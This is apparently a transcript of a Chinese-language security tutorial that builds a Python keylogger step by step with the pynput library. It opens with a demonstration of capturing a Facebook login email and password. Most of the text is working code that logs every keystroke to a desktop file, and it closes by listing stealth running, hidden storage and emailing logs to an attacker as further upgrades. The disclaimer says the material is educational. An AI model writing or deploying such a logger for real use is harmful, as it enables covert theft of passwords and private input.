大家好。
今天我们继续我们的网络安全系列。
我们今天要讨论的工具是键盘记录器(Keylogger)。
什么是键盘记录器?
键盘记录器是一种工具。
它可以捕获你在键盘上输入的所有内容,甚至是鼠标点击。
然后将这些信息保存到一个文件中。
更高级的版本甚至可以自动运行,并将捕获的文件在线发送。
它是如何工作的?
让我们看看这个工具的实际操作。
首先,你运行一个普通的 Python 文件。
然后,你正常地上网,比如打开 Google,搜索“Facebook”。
你进入登录页面,输入你的电子邮件和密码。
让我们输入一个示例电子邮件:
[email protected]
然后输入你的密码。
你点击“登录”,完全没有察觉到任何异常。
一切看起来都很正常。
但如果你回到桌面,打开一个特定的文本文件…
你会发现你输入的所有内容都被记录下来了。
首先,你输入了“Facebook”。
然后是“mohamed.ahmed”。
文件中可能会显示 Key.shift 这样的特殊按键。
比如,Key.shift 后面跟着一个字母,意味着你输入了一个大写字母。
Key.shift 加上某个键也可能代表一个特殊符号,比如 @。
通过解析这个文件,攻击者就能重建你的密码。
让我们开始编码
那么,我们如何构建它呢?
下面的流程图总结了我们将要采取的步骤。
graph TD
A[开始] --> B[导入库: pynput, os, datetime];
B --> C[设置日志文件路径 (桌面)];
C --> D{按键事件};
D -- 普通字符 --> E[直接写入文件];
D -- 特殊按键 --> F[处理后写入文件 (例如, 空格, 回车)];
E --> G[启动键盘监听器];
F --> G;
G --> H[程序持续运行,记录按键];
H --> I[结束];
第一步:导入必要的库
和往常一样,要创建一个工具,你首先需要导入它的库。
我们需要 pynput 库,它是一个强大的库,可以控制和监听输入设备。
pynput 可以控制键盘和鼠标,但我们只需要键盘部分。
from pynput import keyboard
接下来,我们需要与操作系统交互来保存文件。
我们使用 os 库。
import os
最后,我们需要处理时间。
为什么?因为用户可能会多次运行程序。
我们希望用时间戳来命名日志文件,以便区分。
from datetime import datetime
第二步:设置文件路径
我们需要定义日志文件的保存位置。
让我们把它保存在桌面上,这样容易找到。
我们创建一个变量来存储桌面路径。
desktop_path = os.path.join(os.path.expanduser("~"), "Desktop")
现在,我们定义日志文件的完整路径和名称。
它将是一个文本文件,位于我们刚刚定义的桌面路径上。
log_file = os.path.join(desktop_path, "keyboard_history.txt")
第三步:创建写入文件的函数
现在,让我们创建一个函数,负责将按键写入文件。
这是代码的核心部分,请密切关注。
def write_to_file(key_str):
with open(log_file, "a", encoding="utf-8") as f:
f.write(key_str)
让我们分解一下这个函数:
with open(...)确保文件在使用后自动关闭。log_file是我们要写入的目标文件。- 模式
"a"代表 追加(append)。这意味着我们会在文件末尾添加新内容,而不会覆盖旧内容。 encoding="utf-8"至关重要。
[!TIP] 如果不指定
utf-8编码,你的记录器将只支持英文字符。使用
utf-8可以确保它也能正确记录中文、阿拉伯语或各种符号。
第四步:处理按键事件
接下来,我们需要一个函数来捕获键盘上的每一次按键。
我们称之为 on_press。
def on_press(key):
# ... a bit of logic here
在这个函数内部,我们需要处理两种类型的按键:
- 普通字符 (如 ‘a’, ‘b’, ‘1’, ‘2’)
- 特殊按键 (如 ‘Space’, ‘Enter’, ‘Shift’)
我们使用 try-except 块来区分它们。
def on_press(key):
try:
# 尝试将其作为普通字符写入
write_to_file(str(key.char))
except AttributeError:
# 如果失败,则将其作为特殊按键处理
if key == keyboard.Key.space:
write_to_file(" ")
elif key == keyboard.Key.enter:
write_to_file("\n")
else:
# 对于其他特殊按键(Shift, Ctrl 等),记录其名称
write_to_file(f" [{key.name}] ")
try块尝试获取key.char,这只对普通字符有效。- 如果按键是特殊键(如
Shift),key.char会引发AttributeError。 except块捕获这个错误,并对特殊按键进行特殊处理。- 空格被记录为一个空格字符。
- 回车被记录为一个换行符 (
\n)。 - 其他所有特殊按键(如
Ctrl,Alt,Esc)则记录它们的名称。
第五步:启动监听器
现在,我们需要一个主函数来启动整个过程。
def main():
print(f"Keylogger is running. Logging to: {log_file}")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
这里的 keyboard.Listener 是魔法发生的地方。
它会创建一个监听器线程,在后台运行。
每当有按键被按下时 (on_press),它就会调用我们之前定义的 on_press 函数。
listener.join() 是一个关键命令。
它会阻塞主程序,防止脚本在启动监听器后立即退出。
这确保了我们的键盘记录器会持续运行。
第六步:运行主程序
最后,我们添加标准的 Python 入口点。
这段代码确保 main() 函数只在脚本被直接执行时运行。
if __name__ == "__main__":
main()
恭喜!你已经构建了一个基本的键盘记录器。
重要声明和后续步骤
[!WARNING] 我对任何滥用此信息的行为不承担任何责任。
这个工具仅用于教育和安全意识目的。
你可能会问,为什么这个版本不危险?
因为它缺少一些使键盘记录器真正危险的高级功能:
- 隐身模式:在后台完全静默运行。
- 远程存储:将日志保存到桌面以外的隐蔽位置。
- 邮件发送:自动将捕获的日志通过电子邮件发送给攻击者。
了解这些工具的工作原理,可以帮助你防范它们。
例如,当心你下载的破解软件,它可能就包含着这样的记录器。
敬请期待更多安全工具的介绍。